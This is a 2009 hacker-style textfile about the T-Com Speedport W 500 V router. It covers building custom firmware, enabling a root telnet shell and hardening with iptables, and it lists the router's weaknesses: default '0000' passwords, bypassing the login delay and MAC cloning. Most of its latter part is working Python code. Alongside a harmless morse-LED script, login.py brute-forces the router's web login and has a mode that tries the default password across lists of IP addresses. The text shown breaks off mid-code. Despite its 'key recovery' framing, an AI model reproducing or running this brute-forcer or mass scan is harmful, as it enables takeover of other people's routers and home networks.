informis
/
textfiles
1
0
Fork 0
Code Issues Pull Requests Packages Projects Releases Wiki Activity
textfiles/uploads/tcom_router.txt

1242 lines
42 KiB
Plaintext
Raw Permalink Blame History

T-COM LINUX ROUTER SECURITY
The T-Com Speedport W 500 V
by anon / 13.01.2009
index
-----
0x0 : disclaimer
0x1 : intro
0x2 : router details
0x3 : compiling your own linux
0x4 : enable telnetd ( busybox )
0x5 : router security
0x6 : some code
0x7 : TCP/IP morse led - red.py
0x8 : HTTP/HTTPS key recovery - login.py
0x0 : disclaimer
----------------
This file contains information about the T-Com Speedport W 500 V router.
The information included is for compiling your own linux on the router
and how to make the router more secure with your own compiled and
configured linux. It also shows some insecurity on that router just as
information and includes the source of a HTTP/HTTPS brute force program
to recover your key if lost or forgotten.
Use this information _wise_ and with care on _your own_ system. -- anon
ALL RIGHTS RESERVED by anon. - 2009
0x1 : intro
-----------
The paper is splitted into some sections. Section 0x7 "red.py" is a tool
which uses "socket" and "time" to translate ASCII signs or a *.TXT file
into morse signals to send them over TCP/IP to an (enabled) telnetd
server on the linux router side. There a program "ledtest 0|1" will be
called to make 4 LEDs of the router flashing the morse signals.
Section 0x8 is the source code of a program which makes a brute force
attack over HTTP and HTTPS to the router from outside ( internet ) and
inside ( localhost ). The program is a proof of concept and can be used
to recover your key if it is lost or forgotten. ( login.py )
Section 0x3 is a little introduction and "howto" to compile your own
linux system from the sources for your router which means to build your
own Linux system with all the software and configuration you want
(kernel, daemons, software, mount, your _own_ code etc..) - this is
possible because the whole 90 MB source code is online for this router.
Thanks to the T-Com for building this nice router and for the sources
online. :-)
Section 0x5 is a bit about the security of this router and in section
0x2 you get an overview about some router details (hardware & software).
And section 0x4 is about how to enable "telnetd" to have access to the
whole nice linux system of the router over a shell. ( "login" )
Normally only port 80 and port 443 ( HTTP & HTTPS ) are open for your
webserver configuration menu that is what we wanna change - to explore
the linux system on that router by compiling our _own_ linux, opening
a port (23) with an access shell to the linux system behind - as a
little practical example and of course making the router more secure
than before with a spotlight on the insecurity of it also with a proof
of concept program. - Have fun.
0x2 : router details
--------------------
Here are some details about the router - the standard configuration:
-------------------------------------------------------------------------
producer: T-COM
name: Speedport W 500 V
server IP: 192.168.2.1
client IP: 192.168.2.*
open inside ports: HTTP/80, HTTPS/443
open outside ports: HTTPS/443
PPPoE: yes
DHCP: yes
4 logins in /var/passwd:
user , root , nobody , support
password by default ( for all 4 ): "0000"
password min length: 4 signs
password max length: 12 signs
password (web conf.) signs: A-Z, a-z, 0-9
total RAM: 14240 kb
read/write memory in /var: 128 kb ( the only R/W place )
linux version: 2.6.8.1 gcc 3.4.2
cpu model: BCM6348 V0.7
number of LEDs: 7
buttons: 1 power button, 1 reset button
2 wireless lan antennas ( WLAN )
WLAN encryption: WEP, WPA, WPA2
MAC filter "protection"
mount:
/dev/mtdblock0 on / type squashfs (ro)
/proc on /proc type proc (rw, nodiratime)
tmpfs on /var type tmpfs (rw )
HTTP webserver: micro_http / "httpd"
browser language needed: HTML, JAVASCRIPT
directory list ( "ls /" ):
CVS/ bin/ dev/ etc/ lib/ linuxrc mnt/ proc/ sbin/ tmp/ usr/ var/ webs/
some nice tools:
cat , dmesg , echo , iptables , kill , ledtest , ls , mkdir , mount ,
pcscan , ping , ps , pwd , rm , sed , sh , sysinfo , false , true ,
wlctl , ifconfig , insmod , reboot , route , vconfig , test , expr ..
-------------------------------------------------------------------------
This is just a bit to get an overview. If you wanna change something you
have to compile your own linux system for this router to enable some
usefull daemons, to install new software, for new configurations and of
course for your own code maybe.
0x3 : compiling your own linux
------------------------------
If you want your own linux on this system then you have to compile your
own linux from the source. First you need the sources for your router.
Take a look on an internet searchengine or go to an official T-Com site
and look for the sources for your router. A source file could look like
this here:
"bcm963xxSpeedportW500V.1.*.*_consumer_release.tar.gz"
Get it, unpack it with "tar xfz" and install it with the *.sh script.
You need a *linux* system of course to install it or at least software
like cygwin if you have a windows system. Cygwin is a linux environment
which runs under windows. You need also kernel sources and headers for
your linux system to compile your own linux system for your router.
If your system has problems with the *.rpm files then get the program
"alien" and make an "alien *.rpm" in your shell. This command will build
the *.deb packets if your system needs it. If the system gives you some
error messages then read them and try to understand them and then try to
fix them - maybe if you need some more libraries then install them with
"apt-get install" or "aptitude" and then make a "dpkg -i *.deb" and try
to install them again. If you dont get it: get a searchengine and search
for help - this is not a linux howto.
After all went well we can enter "/opt/bcm963xx_router/" where our
source code is. If we now wanna build our own linux system ( update for
the router ) we have to give a "make PROFILE=$YOUR_PROFILE" for example
"make PROFILE=96359R" into our shell. The right profile name you will
find in "target/".
If all went well we have now our update file in "images/". Now we can
connect with our browser to our router to make a software update if you
wanna try or test it.
But we can do better things of course like compiling our *own* software
and set our own configurations we want to run on the linux router. Just
look around in "kernel/linux" - the directory for the kernel sources -
and make some changes if you want or go to "userapps/opensource/" - the
directory for the sources of linux and change what you want and add what
you need and then compile your system again and install the new image.
Again: if you become error messages then try to understand them and then
try to fix them - read them carefully because they contain often a lot
to fix the problem. You can also read the source help files of the
program you wanna compile or the source code itself - this is a lot of
help and a good read of course.
Some important files which you have to edit maybe are:
/opt/bcm963xx_router/userapps/opensource/busybox/brcm.config
/opt/bcm963xx_router/Makefile
/opt/bcm963xx_router/targets/defaultcfg/default.xml
/opt/bcm963xx_router/targets/fs.src/etc/*
"brcm.config" you need to enable services like "telnetd" ( which we will
do in section 0x4 ) , "Makefile" to build the system ( you can edit it
to add more what is to compile f.e.: sshd ) , "default.xml" you need to
enable services like FTP, HTTP, telnet and so on and in "../etc/*" we
have lots of files from linux itself which we have to edit maybe.
That is all so far to know as a *little* overview. If you just wanna get
an update file to open port 23 ( telnet ) on your router without doing /
compiling it for yourself you can search for "mod500" at "www.sf.net" -
thankfully someone compiled an update to open port 23 with "busybox" /
"telnetd" behind. ( 3.3 MB ) "mod500" also contains a *.tar.gz file with
all the sources from the update.
0x4 : enable telnetd
--------------------
Now here is a little example with "busybox & telnetd" to show you how to
open port 23 ( the telnet port ) that we can enter the linux system to
play around with it. Busybox is the program which calls telnetd - so
telnetd is compiled into busybox. Busybox is a main program and includes
the most programs which run on your linux router box - a few to mention
are: ls , sh , echo , mount , rm , kill , dmesg , sysinfo - and so on.
You see the program runs the most import programs from within, thus you
can compile busybox very small.
So to enable "telnetd" we have to edit these 3 files here:
/opt/bcm963xx_router/userapps/opensource/busybox/brcm.config
/opt/bcm963xx_router/targets/defaultcfg/default.xml
/opt/bcm963xx_router/targets/fs.src/etc/init.d/rcS
In the file "brcm.config" you have to change a bit (uncomment) and add
that it looks like this here:
"CONFIG_FEATURE_SUID=y
CONFIG_FEATURE_SUID_CONFIG=y
CONFIG_FEATURE_SUID_CONFIG_QUIET=y
CONFIG_LOGIN=y
CONFIG_FEATURE_SECURETTY=y
CONFIG_TELNETD=y"
In "default.xml" we change "disable" to "enable" for telnet:
"<srvCtrlList .... telnet="enable" .... />"
And finally in the file "rcS" in "/etc/" we add the following line for
opening port 23 ( telnet ) at the boot of the linux system:
"/usr/sbin/telnetd telnetd -l /bin/login"
As a little optic feature you could also edit this file here:
/opt/bcm963xx_router/userapps/broadcom/cfm/html_t_online_fra/index.htm
This is the index for the configuration menu, you could edit it to put
your own text or pictures in it for your own configuration menu.
That is all folks. Now we go directly into the "/opt/bcm963xx_router/"
directory and type in our shell like mentioned above:
"make PROFILE=$YOUR_PROFILE" and after the whole compiling process you
should find your new update linux image to open the telnetd port 23 in
"images/". Open your browser connect to the HTML configuration menu of
your router with IP "192.168.2.1" and install / upload the update.
If you do a nmap scan now on port 23 we will see that it is open now -
with "nmap 192.168.2.1 -p 23" the following screen will be seen:
Starting Nmap 3.11 ( http://www.insecure.org/nmap/ )
Interesting ports on 192.168.2.1:
PORT STATE SERVICE
23/tcp open telnet
MAC Address: 00:00:00:00:00:00 (Tecom Co.)
Nmap finished: 1 IP address (1 host up) scanned in 10.180 seconds
To connect to your new remote linux shell on your router you need a
telnet program and in your shell you have to type: "telnet 192.168.2.1"
and the following screen comes:
Trying 192.168.2.1...
Connected to 192.168.2.1.
Escape character is '^]'.
(none) login: root
Password: 0000
BusyBox v1.00 (2009.01.13-00:00+0000) Built-in shell (msh)
Enter 'help' for a list of built-in commands.
# cat /proc/version
Linux version 2.6.8.1 (root@linux) (gcc version 3.4.2)
# exit
Connection closed by foreign host.
"cat" is a program to show the content of files to stdout and with
"exit" we close our connection to the router. Now we have *access*. :-)
0x5 : router security
---------------------
This here is a little overview about the security of this router. It is
not complete surely and this section covers only a bit so there is much
more insecurity on this router maybe / probably.
passwords
---------
This router has a weak password security from standard which means the
default password is "0000" - the really insecure situation is if _you_
dont change it.
The password security on the webserver HTML menu is also very low
because you dont have the special signs to make a password f.e. "$#&?!@"
and so on. You only have all uppercase letters from A-Z, all lowercase
letters too from a-z and of course all numbers from 0-9 - but that is
all and that is insecure. Because the *more* signs you have the more
*strong* is your password.
The password length is from 4 signs to 12 signs. You should always make
a password with all 12 signs. Make a password which is in no dictionary
and looks like random signs like: 8rhLFdH36495 - here we have upper
case, lowercase and numbers and that is the "most" secure password which
is possible on that HTML configuration menu. If you will ever forgot
your password you can just push the reset button but then all your
account data inside is lost and you have to edit it again - if you dont
have it anymore you have to ask your ISP. ( Internet Service Provider )
The reason for the low password security or the weak password without
the special signs is simply that T-Com installed a very *old* version
from passwd.c which indeed only supports letters and numbers. Now this
was a very bad idea. But really: most software on this router is very
old maybe or probably to keep the system small. Most older versions of
software are much smaller also because they have not so much features.
Thus, also from a software point of view, the security is very weak
because old software contains lots of bugs which are like open doors for
unwanted attackers.
This old version from passwd.c only supports passwords with a length of
8 signs but in their HTML web configuration menu you can make a password
with the length of 12 signs for WEB access - but this is a joke because
passwd will only accept 8 signs which means: if you made this password:
"0123456789AF" over the HTML web configuration menu and you give it to
your linux shell when you enter it over telnet - then it will take it
- but if you give the password "01234567" to the telnet shell it will
also take it because it can *only* handle 8 signs. Though the HTML web
configuration menu only accepts the 12 signs.
You should try to compile a new version from passwd.c and then you can
change the password and make a strong password with the special signs
included for shell access. Probably you also need to change some JAVA
code inside of the HTML web configuration sites - there it is set that
you can only enter letters and numbers but no special signs.
remote control
--------------
Somebody from outside can connect to your router if he has your IP - he
just have to open a browser and entering the following URL:
"https://your_IP" - "http://.." will not functioning because the remote
function only supports SSL / HTTPS / port 443.
This is "nice" because it is encrypted but this is insecure too because
somebody can connect to your router and you _cant_ disable it over _the
HTML menu_ if you dont want it or need it.
But we can close it with a self compiled linux update from the sources -
- for example with the help of "iptables" and a ruleset in
"/etc/init.d/rcS" to drop packets from the remote port HTTPS / 443. (
drop every packet what has the destination port 443 - "man iptables" for
more help ) The standard rule for INPUT (ACCEPT) for REMOTE_ACCESS on
the router is:
Chain INPUT (policy ACCEPT)
target prot opt source destination
REMOTE_ACCESS tcp -- anywhere anywhere tcp dpt:https
This is what we exactly would have to change to drop these 443 packets.
Because REMOTE_ACCESS is the second ( 2. ) line in our INPUT table we
have to give iptables a rule that it will exactly delete the second
line - we will do this with this command:
iptables -D INPUT 2
Then we delete the whole REMOTE_ACCESS table with:
iptables -X REMOTE_ACCESS
Now we will insert the rule that iptables will drop all packets that
wanna reach our server from the outside with port 443:
iptables -I INPUT -p tcp -m tcp --dport https DROP -i $INTERFACE
If we add these 3 rule lines to rcS in etc then iptables will use these
rules with every boot your router makes. $INTERFACE is the interface we
choose - so if we wanna drop for wl0 , br0 or eth0 - if we dont set the
"-i" option then iptables will drop *all* https traffic no matter from
which interface the traffic will come. You must add them before you
compile your linux system.
You could also change the URL for the HTML password login to your own
*.html site which an attacker can not know - the directory for doing it
is this here:
/opt/bcm963xx_router/userapps/broadcom/cfm/html_t_online_fra/
If someone has access to your router he could disable your firwall, he
could install a new linux update where "iptables" ( the linux firewall )
is disabled and / or he could also install some sniffers to control your
data streams and if he finds something interesting like a password he
could send it directly to his account. He also could hack from the
router into your computer. Or he could just log your emails, scanning
for private pictures and so on. I really recommend to _disable_ 443.
little scenario
---------------
One attacking scenario from an attacker could be a tool which will test
any router in an IP range for the version of the router to find out what
kind of router it is and if the tool knows it is a "Tecom" router then
it could then try to exploit or brute force the running webserverhttpd.
If the exploit try has success then the program will log the IP from
the router and will try to scan the next ones in the range until the
"while" or "for" loop is ready. The attacker could also just look into
some HTML URLs to look if he finds a hint for the "0000" password there.
If the program knows that the router is the one for what it has searched
for then he could log this hint also in that way.
The basic code concept for this attack could look like this:
for test_router in ip_range( start_IP , end_IP )
try connect( d_IP , d_port_80 ) test_router
try get( router_details || r_version || 0000_hint )
if success: log ; try_exploit
if success: log ; make_install || brute_force ; break
else: log ; break
You can also give "login.py" a file with a few / range IPs in it to test
every single IP for the weak "0000" password. If success the data is
shown and logged. ( proof of concept code )
This is the basic concept for the attacking code. After the scan of the
attacker is done the attacker will look in the results of his log file
and can now try to attack the system he wants. You see this is probably
a huge attack because the code attacks a whole range of router IPs - it
could scan the whole internet or a special IP range and could cause a
lot of damage probably. So the solution is: configure your firewall well
- that HTTPS is rejected from outside , drop all incoming stuff from the
internet side so that access have only IPs to what you have connected
from the *inside* of your system. And of course try to get updates for
the software which runs on that server and rebuild the linux system.
The attack to guess what kind of server version runs on a machine is
called fingerprinting. To attack this router here we could really do it
with a simple TCP/IP *connect* - what happens then is that the router
will give us an error message which includes the service which is behind
port 80 and that is "micro_httpd". The basic code concept above you
use to attack the micro_httpd server itself of course - you just have to
look into the source and you will see what kind of version is running
from standard on this router / http server. ( the nmap sources will
teach you a lot about fingerprinting )
MAC filter "protection"
-----------------------
The "security" of this router also includes the so called MAC filter
protection which means in theory that only systems can connect to the
router with the right MAC address of the hardware. But we can clone or
double an existing MAC address with the help of "ifconfig" for example.
The only thing to do from the attacker side is to get the MAC from the
victim ( maybe with a WIFI sniffer or with a scanner ) and then using
this command here to clone this MAC address:
ifconfig $INTERFACE hw ether 00:00:00:00:00:00
That is all to do. With the cloned MAC address he can now connect to
the system of the victim. You could change your personal MAC address
daily - with this an attacker would have it a bit harder to attack your
system. Brute force is here also possible but probably not necessary.
You could also use this to make your system more anonymous.
WIFI encryption
---------------
This section here we will make short because the only thing to say here
is that WEP and WPA encryption is not secure - there is a lot of
software out there ( f.e. aircrack ) to break this encryption very fast.
Use WPA2 it is more secure but probably not totally secure - use always
the longest encryption key with 63 signs and make a strong password. If
you can just use ethernet on your system connected with your router
because it is not visible on air and it needs no encryption - so you can
not attack it like WIFI of course. So if the router is next to your
computer and you dont move your computer ( laptop ) then you should just
use ethernet. All encryption protocols here for WIFI can be attacked by
a brute force attack to guess the encryption key.
old software
------------
Like said before in the passwd.c example. The most software which runs
on this router from standard is old and buggy of course which means that
there is a lot to attack inside of the running software environment. The
"httpd" server for example on this machine is version 1.3.5 from 2004 so
it is already over 4 years old which means it includes a lot of bugs to
exploit the system probably. So the only thing which helps here are
*updates* from the software you run on this linux router system. Look
into the source codes for more details - they are always a good read.
JAVA time "protection"
----------------------
The login menu uses JAVA "protection" code to prevent people from
entering passwords in a short of time. So if you enter a false password
then you have to wait a delay of time. If you enter again a false
password then the delay is bigger than the delay before, this happens
with every false login so the delay becomes bigger and bigger with every
false login / password.
To avoid this an attacker can just turn off JAVA and JAVA script - then
you can enter many passwords in a short time and no time delay will
happen.
With this a brute force attack is also possible over HTTPS until the
right password was sent with a "POST /start.login P1=$PW" - you will
see that the right password was sent when a special HTML site will be
sent back to you. This brute force attack can happen over HTTP and HTTPS
and is shown as proof of concept for key recovery in section 0x8.
( python source code ) Because now there is _no_ delay of time the brute
force attack will be fast. And because we have only numbers and letters
the attack is even more fast.
Sorry to say that but the security of this router from standard is very
*weak* and easy to break. But it is never the less a nice router to play
with.
0x6 : some code
---------------
Here will follow some little programs which i have coded. red.py is a
program which connects to telnetd on the router and then it is sending
morse signals translated from normal text / ASCII letters. The router
will call the program "testled" with status 0 or 1 which means lights
on or off to send the morse signals over the LEDs of the router - so you
can send morse signals with the LEDs of your router over TCP/IP.
2 examples:
python red.py -t "hello"
python red.py -f text.txt
login.py is a HTTP/HTTPS ( SSL ) brute force / key recovery tool in case
you lost or forgot your password and also a proof of concept for the
T-Com Speedport W 500 V linux router.
3 examples:
python login.py 192.168.2.1 443 -d password.txt
python login.py 192.168.2.1 80 -n 2000
python login.py SCANNAME 80 -r ips.txt
Here are 3 sessions:
anon@box$ python login.py IPRANGE 443 -r ips.txt
T-Com Login - HTTP / HTTPS brute force / By: anon / Version: 0.1
Trying brute force on IPRANGE port 443 with option: -r
Logging is: ON
Trying weak password at router:
192.168.1.1
FOUND PASSWORD. Password is: 0000 .
192.168.2.66
Failed to send request.
192.168.2.34
Failed to send request.
192.168.2.61
Failed to send request.
192.168.2.1
FOUND PASSWORD. Password is: 0000 .
End of scan. Exit.
---
anon@box$ python login.py 192.168.2.1 443 -d pw.txt
T-Com Login - HTTP / HTTPS brute force / By: anon / Version: 0.1
Trying brute force on 192.168.2.1 port 443 with option: -d
Logging is: ON
Trying passwords:
ADMIN
1234567
ROOT
abcdefgh
LINUX
UNIX
0000
FOUND PASSWORD. Password is: 0000 . Exit.
---
anon@box$ python login.py 192.168.2.1 80 -n 200
T-Com Login - HTTP / HTTPS brute force / By: anon / Version: 0.1
Trying brute force on 192.168.2.1 port 80 with option: -n
Logging is: ON
Trying passwords:
....
1109
1110
1111
....
1234
FOUND PASSWORD. Password is: 1234 . Exit.
The programs are written in python ( www.python.org ) and more details
and how to use the programs you will find in the following source codes.
The sources are uuencoded. By the way you can decode and encode uu files
with/in python directly, look ( out of topic ;-) ):
>>> import uu; from uu import *
>>> uu.encode("red.py", "red.py.uu")
>>> uu.decode("login.py.uu", "login.py")
Thanks for reading - take care of you. Cheers & happy exploring! -- anon
0x7 : TCP/IP morse led - red.py
-------------------------------
### red.py ###
##########################################################################
#
# PROJECT: RED - routeR morsE leD
# AUTHOR: anon
# DATE: 13.01.2009
# VERSION: 0.1
# SOFTWARE: python 2.4.4, ledtest, red_*.py, linux, telnetd
# OS: linux debian
# HARDWARE: T-Com Speedport W 500 V
# FILES: red.py
#
# USE:
# python red.*.py [-tf] "morse text" OR *.TXT
#
# -t : text only - input from stdin
# -f : file.txt - input from a file
# -h : for help screen
#
# INFO:
# routeR morsE leD - using "telnetd" ( or "sshd" etc. ), "ledtest"
# on the router and this python tool as a TCP/IP client to send
# morse signals to the LEDs of your linux router over the ethernet
# connection.
#
# I decided to make this little funny tool with python - sending
# the signals with a "sleep" over ethernet to telnetd using TCP/IP
# to the linux router. The python code on your computer makes
# everything - the only thing what happens on the router side is
# "ledtest 0|2". So this here is our *.py morse client.
#
# This is just a basic idea for a fun (help?) project: turning your
# router into a LED morse box. But you can really use this maybe for
# sending a "S O S" if you would ever need it. Or if you have friends
# and they live in your near then you could send them morse messages
# out of your window or something like that. On the T-Com Speedport
# 4 LED lights are flashing on and off so the morse signs are easy
# to detect at night.
#
# "S O S" in morse is: *** --- *** which means 3 times short, 3 times
# long and 3 times short again. Which means the LEDs are flashing 3
# times short , 3 times long and 3 times short again.
#
# The program includes the logging of what you sent as morse signs
# and you can also give the program a TXT/ASCII file to read it and
# send it as morse - it is all stored in a *.TXT logging file if you
# want. You can also disable the signals for the router then "stdout"
# is used instead.
#
# The program is included in the paper: tcom_router.txt - "T-COM LINUX
# ROUTER SECURITY - The T-Com Speedport W 500 V - by anon / 01.2009
#
# ALL RIGHTS RESERVED BY anon - 2009
#
##########################################################################
# some info
AUTHOR="anon"
VERSION="0.1"
MSG="RED - routeR morsE leD"
# needed libraries
import socket; from socket import *
import time; from time import *
import sys; from sys import *
import string; from string import *
# you may have to edit this here
# the log file - we only log from stdin
LOGFILE="red_log.txt"
# logging on or off
LOGGING="ON"
# port and IP
PORT=23
IP="192.168.2.1"
# telnet or ssh login & password
LOGIN="root"
PW="0000"
# morse seconds for lights on
# "-" = long , "*" = short
LONG=int(2)
SHORT="0.5"
SLEEP=int(1)
# morse dictionary from morse.c from FreeBSD ( Thanks! )
# translated into a python dictionary
morsetable={'a':".-" , 'b':"-..." , 'c':"-.-." , 'd':"-.." , 'e':"." , \
'f':"..-." , 'g':"--." , 'h':"...." , 'i':".." , 'j':".---" , 'k':"-.-" , 'l':".-.." , \
'm':"--" , 'n':"-." , 'o':"---" , 'p':".--." , 'q':"--.-" , 'r':".-." , 's':"..." , \
't':"-" , 'u':"..-" , 'v':"...-" , 'w':".--" , 'x':"-..-" , 'y':"-.--" , 'z':"--.." , \
'A':".-" , 'B':"-..." , 'C':"-.-." , 'D':"-.." , 'E':"." , \
'F':"..-." , 'G':"--." , 'H':"...." , 'I':".." , 'J':".---" , 'K':"-.-" , 'L':".-.." , \
'M':"--" , 'N':"-." , 'O':"---" , 'P':".--." , 'Q':"--.-" , 'R':".-." , 'S':"..." , \
'T':"-" , 'U':"..-" , 'V':"...-" , 'W':".--" , 'X':"-..-" , 'Y':"-.--" , 'Z':"--.." , \
'0':"-----" , '1':".----" , '2':"..---" , '3':"...--" , '4':"....-", '5':"....." , \
'6':"-...." , '7':"--..." , '8':"---.." , '9':"----." , ',':"--..--" , '.':".-.-.-" , \
'"':".-..-." , '!':"..--." , '?':"..--..", '/':"-..-." , '-':"-....-" , '=':"-...-" , \
':':"---..." , ';':"-.-.-." , '(':"-.--." , ')':"-.--.-" , '$':"...-..-" , '+':".-.-." , \
'@':".--.-." , '#':".-..." , '&':"...-.-" , '*':"...-." , '%':"-...-.-", ' ':" "}
# the help function
def info():
print MSG+" / By: "+AUTHOR+" / Version: "+VERSION+"\n"
print " Usage:\n\t python red.py [-tf] \"some text\" | file.txt"
print " Examples:\n\t python red.py -t \"S O S\""
print " \t python red.py -f file.txt"
print " \t python red.py -h \n"
# print help if not enough arguments
if len(argv) < 3:
info()
# exit
exit()
# if -h given then print the help screen
if argv[1] == "-h":
info()
# exit
exit()
# the main function
def morse():
# print some NFO
print MSG+" / By: "+AUTHOR+" / Version: "+VERSION
print "Long: "+str(LONG)+" second(s) ; Short: "+str(SHORT)+" second(s)\n"
# try to open socket
try:
sock=socket(AF_INET, SOCK_STREAM)
print "Created socket."
# if we have no success
except:
print "Failed to create socket. Exit."
exit()
# try to connect to IP and port
try:
sock.connect((IP, PORT))
print "Connected to "+str(IP)+" on port "+str(PORT)
except:
print "Failed to connect. Exit."
exit()
# some sleep otherwise we are too fast
sleep(0.5)
# try to login
try:
sock.send(LOGIN+"\r\n")
print "Login: "+LOGIN
except:
print "Login failed. Exit."
exit()
# some sleep
sleep(0.5)
# try password
try:
sock.send(PW+"\r\n")
print "Password: "+PW+"\n"
except:
print "Password login failed. Exit."
exit()
# some sleep
sleep(0.5)
# if we have normal text
if argv[1] == "-t":
# create text
text = argv[2]
# is logging on ?
if LOGGING == "ON":
r=open(LOGFILE, "a")
r.write("Begin morse session: "+str(asctime())+"\n")
r.write("Morse text: "+str(text)+"\n\n")
r.close()
# every sign
for z in str(text):
# print to screen the char
print z
# get the morse signal
for u in morsetable.get(z):
# print morse signal to screen
print u
# sleep and break
if str(u) == " ":
sleep(1)
break
# the - sign
if str(u) == "-":
# lights ON
sock.send("ledtest 1\r\n")
sleep(LONG)
# lights OFF
sock.send("ledtest 0\r\n")
sleep(SLEEP)
# the . sign
if str(u) == ".":
# lights ON
sock.send("ledtest 1\r\n")
sleep(0.5)
# lights OFF
sock.send("ledtest 0\r\n")
sleep(SLEEP)
sleep(SLEEP)
# if we have a text file
if argv[1] == "-f":
file = argv[2]
# try open text file
try:
f=open(file, "r")
except:
print "Cant open file. Exit"
exit()
# read file
for h in f.readlines():
# every sign
for z in h[:-1]:
# print to screen the char
print z
# get the morse signal
for u in morsetable.get(z):
# print morse signal to screen
print u
# sleep and break
if str(u) == " ":
sleep(1)
break
# the - sign
if str(u) == "-":
# lights ON
sock.send("ledtest 1\r\n")
sleep(LONG)
# lights OFF
sock.send("ledtest 0\r\n")
sleep(SLEEP)
# the . sign
if str(u) == ".":
# lights ON
sock.send("ledtest 1\r\n")
sleep(0.5)
# lights OFF
sock.send("ledtest 0\r\n")
sleep(SLEEP)
sleep(SLEEP)
# closing socket connection
print "\nClosing Connection. Exit.\n"
sock.shutdown(0)
sock.close()
# calling our function morse
morse()
# EOF
0x8 : HTTP/HTTPS key recovery - login.py
----------------------------------------
### login.py ###
##########################################################################
#
# PROJECT: HTTP/HTTPS password recovery - SSL/HTTP brute force
# AUTHOR: anon
# DATE: 13.01.2009
# BUILD & TESTED ON: linux debian
# VERSION: 0.1
# SOFTWARE: python 2.4.4
# HARDWARE: T-Com Speedport W 500 V
# FILES: login.py
#
# USE:
# python login.py IP PORT [-dn] dictionary OR numbers
# python login.py NAME PORT -r IP_range_file
#
# -d : a dictionary file - TXT or whatever
# -n : a $number - means range(0, $number)
# PORT : port can be 80 or 443 ( SSL )
# IP : the router IP of course
# -h : help screen
# -r : a textfile with IP numbers to try the "0000" PW
# NAME : name of your scan
#
# INFO:
# login.py is a brute force utility to recover your key from a T-Com
# Speedport W 500 V linux router if it is lost or forgotten. Logging the
# guessed password is also possible. The SSL attack is slow though. Read
# the source for more info and play around with the range generation.
#
#
# THE SOFTWARE AND THE PAPER IS WRITTEN TO TEST AND MAKE
# THESE THINGS ON YOUR _OWN_ SYSTEM / COMPUTER. I DIDNT
# WROTE AND CODED IT FOR CRIMINAL ACTIONS. PERIOD. -- anon
#
#
# The program is included in the paper: tcom_router.txt - "T-COM LINUX
# ROUTER SECURITY - The T-Com Speedport W 500 V - by anon / 01.2009
#
# ALL RIGHTS RESERVED by anon. - 2009
#
##########################################################################
# some info
AUTHOR="anon"
VERSION="0.1"
MSG="T-Com Login - HTTP / HTTPS brute force"
# some needed libraries
import httplib; from httplib import *
import urllib; from urllib import *
import sys; from sys import *
import time; from time import *
# standard password
PW="0000"
# logging
LOGGING="ON"
LOGFILE="login_log.txt"
# for the packet we need
HEADER = {"Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain"}
# help function
def info():
print MSG+" / By: "+AUTHOR+" / Version: "+VERSION+"\n"
print " Usage:\n\t python login.py IP PORT [-dn] file.txt OR number"
print " Examples:\n\t python login.py 192.168.2.1 443 -n 9231"
print " \t python login.py 192.168.2.1 80 -d passwords.txt"
print " \t python login.py SCANNAME 80 -r ips.txt"
print " \t python login.py -h \n"
def bf():
# print some info
print MSG+" / By: "+AUTHOR+" / Version: "+VERSION
print "Trying brute force on "+str(IP)+" port "+str(PORT)+" with option: "+str(OPT)
print "Logging is: "+str(LOGGING)+"\n"
# if not port 80 or 443
if int(PORT) != 443 and int(PORT) != 80:
print "Port must be 443 ( SSL ) or 80 ( HTTP ). Exit."
exit()
# do we wanna log ?
if LOGGING == "ON":
# open logfile an write
file=open(LOGFILE, "a")
file.write("Begin logging: "+str(asctime())+"\n")
file.write("Router: "+str(IP)+"\n")
file.write("Port: "+str(PORT)+"\n")
file.write("Option: "+str(OPT)+"\n")
# if we wanna brute force with numbers
if OPT == "-n":
print "Trying passwords: "
# create range - PW length is 4 on the router
for x in range(0, int(IN)+1):
# for x in range(1000, int(IN)+1001):
print str(x)
# test for HTTP / HTTPS
if int(PORT) == 80:
# try to connect to IP with 80 / HTTP
try:
con = httplib.HTTPConnection(str(IP)+":"+str(PORT))
except:
print "Failed to connect. Exit."
exit()
# make POST /start.login and try password
try:
PARAMS = urllib.urlencode({'P1': int(x)})
con.request("POST", "/start.login", PARAMS, HEADER)
except:
print "Failed to send request."
exit()
# get data
response = con.getresponse()
data = response.read()
# is there the sign we had success ( the word banner )
if "banner.htm" in data:
print "\nFOUND PASSWORD. Password is: "+str(x)+" . Exit.\n"
# write logging
if LOGGING == "ON":
file.write("Password is: "+str(x)+"\n\n")
file.close()
exit()
# HTTPS / SSL
if int(PORT) == 443:
# try to connect to IP with 443 / SSL
try:
con = httplib.HTTPSConnection(str(IP)+":"+str(PORT))
except:
print "Failed to connect. Exit."
exit()
# make POST /start.login and try password
try:
PARAMS = urllib.urlencode({'P1': int(x)})
con.request("POST", "/start.login", PARAMS, HEADER)
except:
print "Failed to send request."
exit()
# get data
response = con.getresponse()
data = response.read()
# is there the sign we had success ( the word banner )
if "banner.htm" in data:
print "\nFOUND PASSWORD. Password is: "+str(x)+" . Exit.\n"
# write logging
if LOGGING == "ON":
file.write("Password is: "+str(x)+"\n\n")
file.close()
exit()
print "\nPassword NOT found. Exit.\n"
# close file
if LOGGING == "ON":
# close logfile
file.write("Password NOT found.\n\n")
file.close()
exit()
# if we wanna brute force with a password file / dictionary
if OPT == "-d":
print "Trying passwords: "
# open file in read only mode
try:
pwfile=open(IN, "r")
except:
print "Cant open PW file. Exit."
exit()
# try every password
for x in pwfile.readlines():
print str(x[:-1])
# test for HTTP / HTTPS
if int(PORT) == 80:
# try to connect to IP with 80 / HTTP
try:
con = httplib.HTTPConnection(str(IP)+":"+str(PORT))
except:
print "Failed to connect. Exit."
exit()
# make POST /start.login and try password
try:
PARAMS = urllib.urlencode({'P1': str(x[:-1])})
con.request("POST", "/start.login", PARAMS, HEADER)
except:
print "Failed to send request."
exit()
# get data
response = con.getresponse()
data = response.read()
# is there the sign we had success ( the word banner )
if "banner.htm" in data:
print "\nFOUND PASSWORD. Password is: "+str(x[:-1])+" . Exit.\n"
# write logging
if LOGGING == "ON":
file.write("Password is: "+str(x[:-1])+"\n\n")
file.close()
exit()
# HTTPS / SSL
if int(PORT) == 443:
# try to connect to IP with 443 / SSL
try:
con = httplib.HTTPSConnection(str(IP)+":"+str(PORT))
except:
print "Failed to connect. Exit."
exit()
# make POST /start.login and try password
try:
PARAMS = urllib.urlencode({'P1': str(x[:-1])})
con.request("POST", "/start.login", PARAMS, HEADER)
except:
print "Failed to send request."
exit()
# get data
response = con.getresponse()
data = response.read()
# is there the sign we had success ( the word banner )
if "banner.htm" in data:
